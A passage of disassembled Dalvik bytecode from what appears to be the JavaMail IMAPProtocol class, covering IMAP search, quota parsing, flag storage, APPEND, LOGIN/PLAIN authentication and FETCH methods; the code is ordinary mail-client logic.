00000058 invoke-virtual Vector->size()I, v6
0000005E move-result v4
00000060 new-array v1, v4, [I
:64
00000064 if-lt v3, v4, :FE
:68
00000068 move-object v0, v1
:6A
0000006A invoke-virtual IMAPProtocol->notifyResponseHandlers([Response)V, p0, v2
00000070 invoke-virtual IMAPProtocol->handleResult(Response)V, p0, v5
00000076 return-object v0
:78
00000078 invoke-static MimeUtility->javaCharset(String)String, p3
0000007E move-result-object v0
00000080 goto :A
:82
00000082 new-instance v2, StringBuilder
00000086 const-string v4, "SEARCH CHARSET "
0000008A invoke-direct StringBuilder-><init>(String)V, v2, v4
00000090 invoke-virtual StringBuilder->append(String)StringBuilder, v2, p3
00000096 move-result-object v2
00000098 invoke-virtual StringBuilder->toString()String, v2
0000009E move-result-object v2
000000A0 invoke-virtual IMAPProtocol->command(String, Argument)[Response, p0, v2, v0
000000A6 move-result-object v0
000000A8 move-object v2, v0
000000AA goto :2A
:AC
000000AC aget-object v0, v2, v4
000000B0 instance-of v0, v0, IMAPResponse
000000B4 if-nez v0, :C0
:B8
000000B8 add-int/lit8 v0, v4, 0x1
000000BC move v4, v0
000000BE goto :54
:C0
000000C0 aget-object v0, v2, v4
000000C4 check-cast v0, IMAPResponse
000000C8 const-string v8, "SEARCH"
000000CC invoke-virtual IMAPResponse->keyEquals(String)Z, v0, v8
000000D2 move-result v8
000000D4 if-eqz v8, :B8
:D8
000000D8 invoke-virtual IMAPResponse->readNumber()I, v0
000000DE move-result v8
000000E0 const/4 v9, 0xFFFFFFFFFFFFFFFF
000000E2 if-ne v8, v9, :EC
:E6
000000E6 aput-object v1, v2, v4
000000EA goto :B8
:EC
000000EC new-instance v9, Integer
000000F0 invoke-direct Integer-><init>(I)V, v9, v8
000000F6 invoke-virtual Vector->addElement(Object)V, v6, v9
000000FC goto :D8
:FE
000000FE invoke-virtual Vector->elementAt(I)Object, v6, v3
00000104 move-result-object v0
00000106 check-cast v0, Integer
0000010A invoke-virtual Integer->intValue()I, v0
00000110 move-result v0
00000112 aput v0, v1, v3
00000116 add-int/lit8 v0, v3, 0x1
0000011A move v3, v0
0000011C goto :64
.end method
.method private parseQuota(Response)Quota
.registers 10
00000000 invoke-virtual Response->readAtomString()String, p1
00000006 move-result-object v0
00000008 new-instance v6, Quota
0000000C invoke-direct Quota-><init>(String)V, v6, v0
00000012 invoke-virtual Response->skipSpaces()V, p1
00000018 invoke-virtual Response->readByte()B, p1
0000001E move-result v0
00000020 const/16 v1, 0x28
00000024 if-eq v0, v1, :38
:28
00000028 new-instance v0, ParsingException
0000002C const-string v1, "parse error in QUOTA"
00000030 invoke-direct ParsingException-><init>(String)V, v0, v1
00000036 throw v0
:38
00000038 new-instance v7, Vector
0000003C invoke-direct Vector-><init>()V, v7
:42
00000042 invoke-virtual Response->peekByte()B, p1
00000048 move-result v0
0000004A const/16 v1, 0x29
0000004E if-ne v0, v1, :74
:52
00000052 invoke-virtual Response->readByte()B, p1
00000058 invoke-virtual Vector->size()I, v7
0000005E move-result v0
00000060 new-array v0, v0, [Quota$Resource
00000064 iput-object v0, v6, Quota->resources:[Quota$Resource
00000068 iget-object v0, v6, Quota->resources:[Quota$Resource
0000006C invoke-virtual Vector->copyInto([Object)V, v7, v0
00000072 return-object v6
:74
00000074 invoke-virtual Response->readAtom()String, p1
0000007A move-result-object v1
0000007C if-eqz v1, :42
:80
00000080 invoke-virtual Response->readLong()J, p1
00000086 move-result-wide v2
00000088 invoke-virtual Response->readLong()J, p1
0000008E move-result-wide v4
00000090 new-instance v0, Quota$Resource
00000094 invoke-direct/range Quota$Resource-><init>(String, J, J)V, v0 .. v5
0000009A invoke-virtual Vector->addElement(Object)V, v7, v0
000000A0 goto :42
.end method
.method private search(String, SearchTerm)[I
.registers 6
00000000 const/4 v2, 0x0
00000002 invoke-static SearchSequence->isAscii(SearchTerm)Z, p2
00000008 move-result v0
0000000A if-eqz v0, :1C
:E
0000000E const/4 v0, 0x0
:10
00000010 invoke-direct IMAPProtocol->issueSearch(String, SearchTerm, String)[I, p0, p1, p2, v0
:16
00000016 move-result-object v0
:18
00000018 return-object v0
:1A
0000001A move-exception v0
:1C
0000001C const/4 v0, 0x0
:1E
0000001E iget-object v1, p0, IMAPProtocol->searchCharsets:[String
00000022 array-length v1, v1
00000024 if-lt v0, v1, :38
:28
00000028 new-instance v0, SearchException
0000002C const-string v1, "Search failed"
00000030 invoke-direct SearchException-><init>(String)V, v0, v1
00000036 throw v0
:38
00000038 iget-object v1, p0, IMAPProtocol->searchCharsets:[String
0000003C aget-object v1, v1, v0
00000040 if-nez v1, :4A
:44
00000044 add-int/lit8 v0, v0, 0x1
00000048 goto :1E
:4A
0000004A iget-object v1, p0, IMAPProtocol->searchCharsets:[String
0000004E aget-object v1, v1, v0
00000052 invoke-direct IMAPProtocol->issueSearch(String, SearchTerm, String)[I, p0, p1, p2, v1
:58
00000058 move-result-object v0
0000005A goto :18
:5C
0000005C move-exception v1
0000005E iget-object v1, p0, IMAPProtocol->searchCharsets:[String
00000062 aput-object v2, v1, v0
00000066 goto :44
:68
00000068 move-exception v0
0000006A throw v0
:6C
0000006C move-exception v0
0000006E throw v0
:70
00000070 move-exception v1
00000072 goto :44
.catch IOException {:10 .. :16} :1A
.catch CommandFailedException {:4A .. :58} :5C
.catch IOException {:4A .. :58} :70
.catch ProtocolException {:4A .. :58} :68
.catch SearchException {:4A .. :58} :6C
.end method
.method private storeFlags(String, Flags, Z)V
.registers 7
00000000 const/4 v2, 0x0
00000002 if-eqz p3, :60
:6
00000006 new-instance v0, StringBuilder
0000000A const-string v1, "STORE "
0000000E invoke-direct StringBuilder-><init>(String)V, v0, v1
00000014 invoke-virtual StringBuilder->append(String)StringBuilder, v0, p1
0000001A move-result-object v0
0000001C const-string v1, " +FLAGS "
00000020 invoke-virtual StringBuilder->append(String)StringBuilder, v0, v1
00000026 move-result-object v0
00000028 invoke-direct IMAPProtocol->createFlagList(Flags)String, p0, p2
0000002E move-result-object v1
00000030 invoke-virtual StringBuilder->append(String)StringBuilder, v0, v1
00000036 move-result-object v0
00000038 invoke-virtual StringBuilder->toString()String, v0
0000003E move-result-object v0
00000040 invoke-virtual IMAPProtocol->command(String, Argument)[Response, p0, v0, v2
00000046 move-result-object v0
:48
00000048 invoke-virtual IMAPProtocol->notifyResponseHandlers([Response)V, p0, v0
0000004E array-length v1, v0
00000050 add-int/lit8 v1, v1, 0xFFFFFFFFFFFFFFFF
00000054 aget-object v0, v0, v1
00000058 invoke-virtual IMAPProtocol->handleResult(Response)V, p0, v0
0000005E return-void
:60
00000060 new-instance v0, StringBuilder
00000064 const-string v1, "STORE "
00000068 invoke-direct StringBuilder-><init>(String)V, v0, v1
0000006E invoke-virtual StringBuilder->append(String)StringBuilder, v0, p1
00000074 move-result-object v0
00000076 const-string v1, " -FLAGS "
0000007A invoke-virtual StringBuilder->append(String)StringBuilder, v0, v1
00000080 move-result-object v0
00000082 invoke-direct IMAPProtocol->createFlagList(Flags)String, p0, p2
00000088 move-result-object v1
0000008A invoke-virtual StringBuilder->append(String)StringBuilder, v0, v1
00000090 move-result-object v0
00000092 invoke-virtual StringBuilder->toString()String, v0
00000098 move-result-object v0
0000009A invoke-virtual IMAPProtocol->command(String, Argument)[Response, p0, v0, v2
000000A0 move-result-object v0
000000A2 goto :48
.end method
.method public append(String, Flags, Date, Literal)V
.registers 11
00000000 const/4 v5, 0x0
00000002 move-object v0, p0
00000004 move-object v1, p1
00000006 move-object v2, p2
00000008 move-object v3, p3
0000000A move-object v4, p4
0000000C invoke-virtual/range IMAPProtocol->appenduid(String, Flags, Date, Literal, Z)AppendUID, v0 .. v5
00000012 return-void
.end method
.method public appenduid(String, Flags, Date, Literal)AppendUID
.registers 11
00000000 const/4 v5, 0x1
00000002 move-object v0, p0
00000004 move-object v1, p1
00000006 move-object v2, p2
00000008 move-object v3, p3
0000000A move-object v4, p4
0000000C invoke-virtual/range IMAPProtocol->appenduid(String, Flags, Date, Literal, Z)AppendUID, v0 .. v5
00000012 move-result-object v0
00000014 return-object v0
.end method
.method public appenduid(String, Flags, Date, Literal, Z)AppendUID
.registers 9
00000000 invoke-static BASE64MailboxEncoder->encode(String)String, p1
00000006 move-result-object v0
00000008 new-instance v1, Argument
0000000C invoke-direct Argument-><init>()V, v1
00000012 invoke-virtual Argument->writeString(String)V, v1, v0
00000018 if-eqz p2, :50
:1C
0000001C sget-object v0, Flags$Flag->RECENT:Flags$Flag
00000020 invoke-virtual Flags->contains(Flags$Flag)Z, p2, v0
00000026 move-result v0
00000028 if-eqz v0, :42
:2C
0000002C new-instance v0, Flags
00000030 invoke-direct Flags-><init>(Flags)V, v0, p2
00000036 sget-object v2, Flags$Flag->RECENT:Flags$Flag
0000003A invoke-virtual Flags->remove(Flags$Flag)V, v0, v2
00000040 move-object p2, v0
:42
00000042 invoke-direct IMAPProtocol->createFlagList(Flags)String, p0, p2
00000048 move-result-object v0
0000004A invoke-virtual Argument->writeAtom(String)V, v1, v0
:50
00000050 if-eqz p3, :62
:54
00000054 invoke-static INTERNALDATE->format(Date)String, p3
0000005A move-result-object v0
0000005C invoke-virtual Argument->writeString(String)V, v1, v0
:62
00000062 invoke-virtual Argument->writeBytes(Literal)V, v1, p4
00000068 const-string v0, "APPEND"
0000006C invoke-virtual IMAPProtocol->command(String, Argument)[Response, p0, v0, v1
00000072 move-result-object v0
00000074 invoke-virtual IMAPProtocol->notifyResponseHandlers([Response)V, p0, v0
0000007A array-length v1, v0
0000007C add-int/lit8 v1, v1, 0xFFFFFFFFFFFFFFFF
00000080 aget-object v1, v0, v1
00000084 invoke-virtual IMAPProtocol->handleResult(Response)V, p0, v1
0000008A if-eqz p5, :A2
:8E
0000008E array-length v1, v0
00000090 add-int/lit8 v1, v1, 0xFFFFFFFFFFFFFFFF
00000094 aget-object v0, v0, v1
00000098 invoke-direct IMAPProtocol->getAppendUID(Response)AppendUID, p0, v0
0000009E move-result-object v0
:A0
000000A0 return-object v0
:A2
000000A2 const/4 v0, 0x0
000000A4 goto :A0
.end method
.method public declared-synchronized authlogin(String, String)V
.registers 14
00000000 const/4 v2, 0x0
00000002 const/4 v1, 0x0
00000004 const/4 v3, 0x1
00000006 monitor-enter p0
:8
00000008 new-instance v7, Vector
0000000C invoke-direct Vector-><init>()V, v7
:12
00000012 const-string v0, "AUTHENTICATE LOGIN"
00000016 const/4 v4, 0x0
00000018 invoke-virtual IMAPProtocol->writeCommand(String, Argument)String, p0, v0, v4
:1E
0000001E move-result-object v0
00000020 move-object v6, v0
00000022 move v0, v2
:24
00000024 invoke-virtual IMAPProtocol->getOutputStream()OutputStream, p0
0000002A move-result-object v8
0000002C new-instance v9, ByteArrayOutputStream
00000030 invoke-direct ByteArrayOutputStream-><init>()V, v9
00000036 new-instance v10, BASE64EncoderStream
0000003A const v4, 0x7FFFFFFF
00000040 invoke-direct BASE64EncoderStream-><init>(OutputStream, I)V, v10, v9, v4
00000046 move v4, v0
00000048 move-object v0, v1
0000004A move v1, v3
:4C
0000004C if-eqz v4, :90
:50
00000050 invoke-virtual Vector->size()I, v7
00000056 move-result v1
00000058 new-array v1, v1, [Response
0000005C invoke-virtual Vector->copyInto([Object)V, v7, v1
00000062 invoke-virtual IMAPProtocol->notifyResponseHandlers([Response)V, p0, v1
00000068 invoke-virtual IMAPProtocol->handleResult(Response)V, p0, v0
0000006E invoke-virtual IMAPProtocol->setCapabilities(Response)V, p0, v0
00000074 const/4 v0, 0x1
00000076 iput-boolean v0, p0, IMAPProtocol->authenticated:Z
:7A
0000007A monitor-exit p0
0000007C return-void
:7E
0000007E move-exception v0
:80
00000080 invoke-static Response->byeResponse(Exception)Response, v0
:86
00000086 move-result-object v0
00000088 move-object v6, v1
0000008A move-object v1, v0
0000008C move v0, v3
0000008E goto :24
:90
00000090 invoke-virtual IMAPProtocol->readResponse()Response, p0
00000096 move-result-object v5
00000098 invoke-virtual Response->isContinuation()Z, v5
0000009E move-result v0
000000A0 if-eqz v0, :EC
:A4
000000A4 if-eqz v1, :E8
:A8
000000A8 move-object v0, p1
000000AA move v1, v2
:AC
000000AC invoke-static ASCIIUtility->getBytes(String)[B, v0
000000B2 move-result-object v0
000000B4 invoke-virtual OutputStream->write([B)V, v10, v0
000000BA invoke-virtual OutputStream->flush()V, v10
000000C0 sget-object v0, IMAPProtocol->CRLF:[B
000000C4 invoke-virtual ByteArrayOutputStream->write([B)V, v9, v0
000000CA invoke-virtual ByteArrayOutputStream->toByteArray()[B, v9
000000D0 move-result-object v0
000000D2 invoke-virtual OutputStream->write([B)V, v8, v0
000000D8 invoke-virtual OutputStream->flush()V, v8
000000DE invoke-virtual ByteArrayOutputStream->reset()V, v9
000000E4 move-object v0, v5
000000E6 goto :4C
:E8
000000E8 move-object v0, p2
000000EA goto :AC
:EC
000000EC invoke-virtual Response->isTagged()Z, v5
000000F2 move-result v0
000000F4 if-eqz v0, :112
:F8
000000F8 invoke-virtual Response->getTag()String, v5
000000FE move-result-object v0
00000100 invoke-virtual String->equals(Object)Z, v0, v6
00000106 move-result v0
00000108 if-eqz v0, :112
:10C
0000010C move v4, v3
0000010E move-object v0, v5
00000110 goto :4C
:112
00000112 invoke-virtual Response->isBYE()Z, v5
00000118 move-result v0
0000011A if-eqz v0, :124
:11E
0000011E move v4, v3
00000120 move-object v0, v5
00000122 goto :4C
:124
00000124 invoke-virtual Vector->addElement(Object)V, v7, v5
:12A
0000012A move-object v0, v5
0000012C goto :4C
:12E
0000012E move-exception v0
:130
00000130 invoke-static Response->byeResponse(Exception)Response, v0
:136
00000136 move-result-object v0
00000138 move v4, v3
0000013A goto :4C
:13C
0000013C move-exception v0
0000013E monitor-exit p0
00000140 throw v0
.catchall {:8 .. :12} :13C
.catch Exception {:12 .. :1E} :7E
.catchall {:12 .. :1E} :13C
.catchall {:24 .. :7A} :13C
.catchall {:80 .. :86} :13C
.catch Exception {:90 .. :12A} :12E
.catchall {:90 .. :12A} :13C
.catchall {:130 .. :136} :13C
.end method
.method public declared-synchronized authplain(String, String, String)V
.registers 14
00000000 const/4 v2, 0x0
00000002 const/4 v1, 0x1
00000004 monitor-enter p0
:6
00000006 new-instance v4, Vector
0000000A invoke-direct Vector-><init>()V, v4
:10
00000010 const/4 v0, 0x0
:12
00000012 const-string v3, "AUTHENTICATE PLAIN"
00000016 const/4 v5, 0x0
00000018 invoke-virtual IMAPProtocol->writeCommand(String, Argument)String, p0, v3, v5
:1E
0000001E move-result-object v3
:20
00000020 invoke-virtual IMAPProtocol->getOutputStream()OutputStream, p0
00000026 move-result-object v5
00000028 new-instance v6, ByteArrayOutputStream
0000002C invoke-direct ByteArrayOutputStream-><init>()V, v6
00000032 new-instance v7, BASE64EncoderStream
00000036 const v8, 0x7FFFFFFF
0000003C invoke-direct BASE64EncoderStream-><init>(OutputStream, I)V, v7, v6, v8
:42
00000042 if-eqz v0, :86
:46
00000046 invoke-virtual Vector->size()I, v4
0000004C move-result v0
0000004E new-array v0, v0, [Response
00000052 invoke-virtual Vector->copyInto([Object)V, v4, v0
00000058 invoke-virtual IMAPProtocol->notifyResponseHandlers([Response)V, p0, v0
0000005E invoke-virtual IMAPProtocol->handleResult(Response)V, p0, v2
00000064 invoke-virtual IMAPProtocol->setCapabilities(Response)V, p0, v2
0000006A const/4 v0, 0x1
0000006C iput-boolean v0, p0, IMAPProtocol->authenticated:Z
:70
00000070 monitor-exit p0
00000072 return-void
:74
00000074 move-exception v0
:76
00000076 invoke-static Response->byeResponse(Exception)Response, v0
:7C
0000007C move-result-object v0
0000007E move-object v3, v2
00000080 move-object v2, v0
00000082 move v0, v1
00000084 goto :20
:86
00000086 invoke-virtual IMAPProtocol->readResponse()Response, p0
0000008C move-result-object v2
0000008E invoke-virtual Response->isContinuation()Z, v2
00000094 move-result v8
00000096 if-eqz v8, :12A
:9A
0000009A const-string v8, "\u0000"
0000009E new-instance v8, StringBuilder
000000A2 invoke-static String->valueOf(Object)String, p1
000000A8 move-result-object v9
000000AA invoke-direct StringBuilder-><init>(String)V, v8, v9
000000B0 const-string v9, "\u0000"
000000B4 invoke-virtual StringBuilder->append(String)StringBuilder, v8, v9
000000BA move-result-object v8
000000BC invoke-virtual StringBuilder->append(String)StringBuilder, v8, p2
000000C2 move-result-object v8
000000C4 const-string v9, "\u0000"
000000C8 invoke-virtual StringBuilder->append(String)StringBuilder, v8, v9
000000CE move-result-object v8
000000D0 invoke-virtual StringBuilder->append(String)StringBuilder, v8, p3
000000D6 move-result-object v8
000000D8 invoke-virtual StringBuilder->toString()String, v8
000000DE move-result-object v8
000000E0 invoke-static ASCIIUtility->getBytes(String)[B, v8
000000E6 move-result-object v8
000000E8 invoke-virtual OutputStream->write([B)V, v7, v8
000000EE invoke-virtual OutputStream->flush()V, v7
000000F4 sget-object v8, IMAPProtocol->CRLF:[B
000000F8 invoke-virtual ByteArrayOutputStream->write([B)V, v6, v8
000000FE invoke-virtual ByteArrayOutputStream->toByteArray()[B, v6
00000104 move-result-object v8
00000106 invoke-virtual OutputStream->write([B)V, v5, v8
0000010C invoke-virtual OutputStream->flush()V, v5
00000112 invoke-virtual ByteArrayOutputStream->reset()V, v6
:118
00000118 goto :42
:11A
0000011A move-exception v0
:11C
0000011C invoke-static Response->byeResponse(Exception)Response, v0
:122
00000122 move-result-object v0
00000124 move-object v2, v0
00000126 move v0, v1
00000128 goto :42
:12A
0000012A invoke-virtual Response->isTagged()Z, v2
00000130 move-result v8
00000132 if-eqz v8, :150
:136
00000136 invoke-virtual Response->getTag()String, v2
0000013C move-result-object v8
0000013E invoke-virtual String->equals(Object)Z, v8, v3
00000144 move-result v8
00000146 if-eqz v8, :150
:14A
0000014A move v0, v1
0000014C goto/16 :42
:150
00000150 invoke-virtual Response->isBYE()Z, v2
00000156 move-result v8
00000158 if-eqz v8, :162
:15C
0000015C move v0, v1
0000015E goto/16 :42
:162
00000162 invoke-virtual Vector->addElement(Object)V, v4, v2
:168
00000168 goto/16 :42
:16C
0000016C move-exception v0
0000016E monitor-exit p0
00000170 throw v0
.catchall {:6 .. :10} :16C
.catch Exception {:12 .. :1E} :74
.catchall {:12 .. :1E} :16C
.catchall {:20 .. :70} :16C
.catchall {:76 .. :7C} :16C
.catch Exception {:86 .. :118} :11A
.catchall {:86 .. :118} :16C
.catchall {:11C .. :122} :16C
.catch Exception {:12A .. :168} :11A
.catchall {:12A .. :168} :16C
.end method
.method public capability()V
.registers 6
00000000 const-string v0, "CAPABILITY"
00000004 const/4 v1, 0x0
00000006 invoke-virtual IMAPProtocol->command(String, Argument)[Response, p0, v0, v1
0000000C move-result-object v2
0000000E array-length v0, v2
00000010 add-int/lit8 v0, v0, 0xFFFFFFFFFFFFFFFF
00000014 aget-object v0, v2, v0
00000018 invoke-virtual Response->isOK()Z, v0
0000001E move-result v0
00000020 if-nez v0, :42
:24
00000024 new-instance v0, ProtocolException
00000028 array-length v1, v2
0000002A add-int/lit8 v1, v1, 0xFFFFFFFFFFFFFFFF
0000002E aget-object v1, v2, v1
00000032 invoke-virtual Response->toString()String, v1
00000038 move-result-object v1
0000003A invoke-direct ProtocolException-><init>(String)V, v0, v1
00000040 throw v0
:42
00000042 new-instance v0, HashMap
00000046 const/16 v1, 0xA
0000004A invoke-direct HashMap-><init>(I)V, v0, v1
00000050 iput-object v0, p0, IMAPProtocol->capabilities:Map
00000054 new-instance v0, ArrayList
00000058 const/4 v1, 0x5
0000005A invoke-direct ArrayList-><init>(I)V, v0, v1
00000060 iput-object v0, p0, IMAPProtocol->authmechs:List
00000064 const/4 v0, 0x0
00000066 array-length v3, v2
00000068 move v1, v0
:6A
0000006A if-lt v1, v3, :70
:6E
0000006E return-void
:70
00000070 aget-object v0, v2, v1
00000074 instance-of v0, v0, IMAPResponse
00000078 if-nez v0, :84
:7C
0000007C add-int/lit8 v0, v1, 0x1
00000080 move v1, v0
00000082 goto :6A
:84
00000084 aget-object v0, v2, v1
00000088 check-cast v0, IMAPResponse
0000008C const-string v4, "CAPABILITY"
00000090 invoke-virtual IMAPResponse->keyEquals(String)Z, v0, v4
00000096 move-result v4
00000098 if-eqz v4, :7C
:9C
0000009C invoke-virtual IMAPProtocol->parseCapabilities(Response)V, p0, v0
000000A2 goto :7C
.end method
.method public check()V
.registers 3
00000000 const-string v0, "CHECK"
00000004 const/4 v1, 0x0
00000006 invoke-virtual IMAPProtocol->simpleCommand(String, Argument)V, p0, v0, v1
0000000C return-void
.end method
.method public close()V
.registers 3
00000000 const-string v0, "CLOSE"
00000004 const/4 v1, 0x0
00000006 invoke-virtual IMAPProtocol->simpleCommand(String, Argument)V, p0, v0, v1
0000000C return-void
.end method
.method public copy(I, I, String)V
.registers 6
00000000 new-instance v0, StringBuilder
00000004 invoke-static String->valueOf(I)String, p1
0000000A move-result-object v1
0000000C invoke-static String->valueOf(Object)String, v1
00000012 move-result-object v1
00000014 invoke-direct StringBuilder-><init>(String)V, v0, v1
0000001A const-string v1, ":"
0000001E invoke-virtual StringBuilder->append(String)StringBuilder, v0, v1
00000024 move-result-object v0
00000026 invoke-static String->valueOf(I)String, p2
0000002C move-result-object v1
0000002E invoke-virtual StringBuilder->append(String)StringBuilder, v0, v1
00000034 move-result-object v0
00000036 invoke-virtual StringBuilder->toString()String, v0
0000003C move-result-object v0
0000003E invoke-direct IMAPProtocol->copy(String, String)V, p0, v0, p3
00000044 return-void
.end method
.method public copy([MessageSet, String)V
.registers 4
00000000 invoke-static MessageSet->toString([MessageSet)String, p1
00000006 move-result-object v0
00000008 invoke-direct IMAPProtocol->copy(String, String)V, p0, v0, p2
0000000E return-void
.end method
.method public create(String)V
.registers 4
00000000 invoke-static BASE64MailboxEncoder->encode(String)String, p1
00000006 move-result-object v0
00000008 new-instance v1, Argument
0000000C invoke-direct Argument-><init>()V, v1
00000012 invoke-virtual Argument->writeString(String)V, v1, v0
00000018 const-string v0, "CREATE"
0000001C invoke-virtual IMAPProtocol->simpleCommand(String, Argument)V, p0, v0, v1
00000022 return-void
.end method
.method public delete(String)V
.registers 4
00000000 invoke-static BASE64MailboxEncoder->encode(String)String, p1
00000006 move-result-object v0
00000008 new-instance v1, Argument
0000000C invoke-direct Argument-><init>()V, v1
00000012 invoke-virtual Argument->writeString(String)V, v1, v0
00000018 const-string v0, "DELETE"
0000001C invoke-virtual IMAPProtocol->simpleCommand(String, Argument)V, p0, v0, v1
00000022 return-void
.end method
.method public deleteACL(String, String)V
.registers 5
00000000 const-string v0, "ACL"
00000004 invoke-virtual IMAPProtocol->hasCapability(String)Z, p0, v0
0000000A move-result v0
0000000C if-nez v0, :20
:10
00000010 new-instance v0, BadCommandException
00000014 const-string v1, "ACL not supported"
00000018 invoke-direct BadCommandException-><init>(String)V, v0, v1
0000001E throw v0
:20
00000020 invoke-static BASE64MailboxEncoder->encode(String)String, p1
00000026 move-result-object v0
00000028 new-instance v1, Argument
0000002C invoke-direct Argument-><init>()V, v1
00000032 invoke-virtual Argument->writeString(String)V, v1, v0
00000038 invoke-virtual Argument->writeString(String)V, v1, p2
0000003E const-string v0, "DELETEACL"
00000042 invoke-virtual IMAPProtocol->command(String, Argument)[Response, p0, v0, v1
00000048 move-result-object v0
0000004A array-length v1, v0
0000004C add-int/lit8 v1, v1, 0xFFFFFFFFFFFFFFFF
00000050 aget-object v1, v0, v1
00000054 invoke-virtual IMAPProtocol->notifyResponseHandlers([Response)V, p0, v0
0000005A invoke-virtual IMAPProtocol->handleResult(Response)V, p0, v1
00000060 return-void
.end method
.method public disconnect()V
.registers 2
00000000 invoke-super Protocol->disconnect()V, p0
00000006 const/4 v0, 0x0
00000008 iput-boolean v0, p0, IMAPProtocol->authenticated:Z
0000000C return-void
.end method
.method public examine(String)MailboxInfo
.registers 5
00000000 invoke-static BASE64MailboxEncoder->encode(String)String, p1
00000006 move-result-object v0
00000008 new-instance v1, Argument
0000000C invoke-direct Argument-><init>()V, v1
00000012 invoke-virtual Argument->writeString(String)V, v1, v0
00000018 const-string v0, "EXAMINE"
0000001C invoke-virtual IMAPProtocol->command(String, Argument)[Response, p0, v0, v1
00000022 move-result-object v0
00000024 new-instance v1, MailboxInfo
00000028 invoke-direct MailboxInfo-><init>([Response)V, v1, v0
0000002E const/4 v2, 0x1
00000030 iput v2, v1, MailboxInfo->mode:I
00000034 invoke-virtual IMAPProtocol->notifyResponseHandlers([Response)V, p0, v0
0000003A array-length v2, v0
0000003C add-int/lit8 v2, v2, 0xFFFFFFFFFFFFFFFF
00000040 aget-object v0, v0, v2
00000044 invoke-virtual IMAPProtocol->handleResult(Response)V, p0, v0
0000004A return-object v1
.end method
.method public expunge()V
.registers 3
00000000 const-string v0, "EXPUNGE"
00000004 const/4 v1, 0x0
00000006 invoke-virtual IMAPProtocol->simpleCommand(String, Argument)V, p0, v0, v1
0000000C return-void
.end method
.method public fetch(I, I, String)[Response
.registers 6
00000000 new-instance v0, StringBuilder
00000004 invoke-static String->valueOf(I)String, p1
0000000A move-result-object v1
0000000C invoke-static String->valueOf(Object)String, v1
00000012 move-result-object v1
00000014 invoke-direct StringBuilder-><init>(String)V, v0, v1
0000001A const-string v1, ":"
0000001E invoke-virtual StringBuilder->append(String)StringBuilder, v0, v1
00000024 move-result-object v0
00000026 invoke-static String->valueOf(I)String, p2
0000002C move-result-object v1
0000002E invoke-virtual StringBuilder->append(String)StringBuilder, v0, v1
00000034 move-result-object v0
00000036 invoke-virtual StringBuilder->toString()String, v0
0000003C move-result-object v0
0000003E const/4 v1, 0x0
00000040 invoke-direct IMAPProtocol->fetch(String, String, Z)[Response, p0, v0, p3, v1
00000046 move-result-object v0
00000048 return-object v0
.end method
.method public fetch(I, String)[Response
.registers 5
00000000 invoke-static String->valueOf(I)String, p1
00000006 move-result-object v0
00000008 const/4 v1, 0x0
0000000A invoke-direct IMAPProtocol->fetch(String, String, Z)[Response, p0, v0, p2, v1
00000010 move-result-object v0
00000012 return-object v0
.end method
.method public fetch([MessageSet, String)[Response
.registers 5
00000000 invoke-static MessageSet->toString([MessageSet)String, p1
00000006 move-result-object v0
00000008 const/4 v1, 0x0
0000000A invoke-direct IMAPProtocol->fetch(String, String, Z)[Response, p0, v0, p2, v1
00000010 move-result-object v0
00000012 return-object v0
.end method
.method public fetchBody(I, String)BODY
.registers 4
00000000 const/4 v0, 0x0
00000002 invoke-virtual IMAPProtocol->fetchBody(I, String, Z)BODY, p0, p1, p2, v0
00000008 move-result-object v0
0000000A return-object v0
.end method
.method public fetchBody(I, String, I, I)BODY
.registers 12
00000000 const/4 v5, 0x0
00000002 const/4 v6, 0x0
00000004 move-object v0, p0
00000006 move v1, p1
00000008 move-object v2, p2
0000000A move v3, p3
0000000C move v4, p4
0000000E invoke-virtual/range IMAPProtocol->fetchBody(I, String, I, I, Z, ByteArray)BODY, v0 .. v6
00000014 move-result-object v0
00000016 return-object v0
.end method
.method public fetchBody(I, String, I, I, ByteArray)BODY
.registers 13
00000000 const/4 v5, 0x0
00000002 move-object v0, p0
00000004 move v1, p1
00000006 move-object v2, p2
00000008 move v3, p3
0000000A move v4, p4
0000000C move-object v6, p5
0000000E invoke-virtual/range IMAPProtocol->fetchBody(I, String, I, I, Z, ByteArray)BODY, v0 .. v6
00000014 move-result-object v0
00000016 return-object v0
.end method
.method protected fetchBody(I, String, I, I, Z, ByteArray)BODY
.registers 11
00000000 const/4 v1, 0x0
00000002 iput-object p6, p0, IMAPProtocol->ba:ByteArray
00000006 new-instance v2, StringBuilder
0000000A if-eqz p5, :A6
:E
0000000E const-string v0, "BODY.PEEK["
:12
00000012 invoke-static String->valueOf(Object)String, v0
00000018 move-result-object v0
0000001A invoke-direct StringBuilder-><init>(String)V, v2, v0
00000020 if-nez p2, :AC
:24
00000024 const-string v0, "]<"
:28
00000028 invoke-virtual StringBuilder->append(String)StringBuilder, v2, v0
0000002E move-result-object v0
00000030 invoke-static String->valueOf(I)String, p3
00000036 move-result-object v2
00000038 invoke-virtual StringBuilder->append(String)StringBuilder, v0, v2
0000003E move-result-object v0
00000040 const-string v2, "."
00000044 invoke-virtual StringBuilder->append(String)StringBuilder, v0, v2
0000004A move-result-object v0
0000004C invoke-static String->valueOf(I)String, p4
00000052 move-result-object v2
00000054 invoke-virtual StringBuilder->append(String)StringBuilder, v0, v2
0000005A move-result-object v0
0000005C const-string v2, ">"
00000060 invoke-virtual StringBuilder->append(String)StringBuilder, v0, v2
00000066 move-result-object v0
00000068 invoke-virtual StringBuilder->toString()String, v0
0000006E move-result-object v0
00000070 invoke-virtual IMAPProtocol->fetch(I, String)[Response, p0, p1, v0
00000076 move-result-object v0
00000078 invoke-virtual IMAPProtocol->notifyResponseHandlers([Response)V, p0, v0
0000007E array-length v2, v0
00000080 add-int/lit8 v2, v2, 0xFFFFFFFFFFFFFFFF
00000084 aget-object v2, v0, v2
00000088 invoke-virtual Response->isOK()Z, v2
0000008E move-result v3
00000090 if-eqz v3, :D4
:94
00000094 const-class v1, BODY
00000098 invoke-static FetchResponse->getItem([Response, I, Class)Item, v0, p1, v1
0000009E move-result-object v0
000000A0 check-cast v0, BODY
:A4
000000A4 return-object v0
:A6
000000A6 const-string v0, "BODY["
000000AA goto :12
:AC
000000AC new-instance v0, StringBuilder
000000B0 invoke-static String->valueOf(Object)String, p2
000000B6 move-result-object v3
000000B8 invoke-direct StringBuilder-><init>(String)V, v0, v3
000000BE const-string v3, "]<"
000000C2 invoke-virtual StringBuilder->append(String)StringBuilder, v0, v3
000000C8 move-result-object v0
000000CA invoke-virtual StringBuilder->toString()String, v0
000000D0 move-result-object v0
000000D2 goto :28
:D4
000000D4 invoke-virtual Response->isNO()Z, v2
000000DA move-result v0
000000DC if-eqz v0, :E4
:E0
000000E0 move-object v0, v1
000000E2 goto :A4
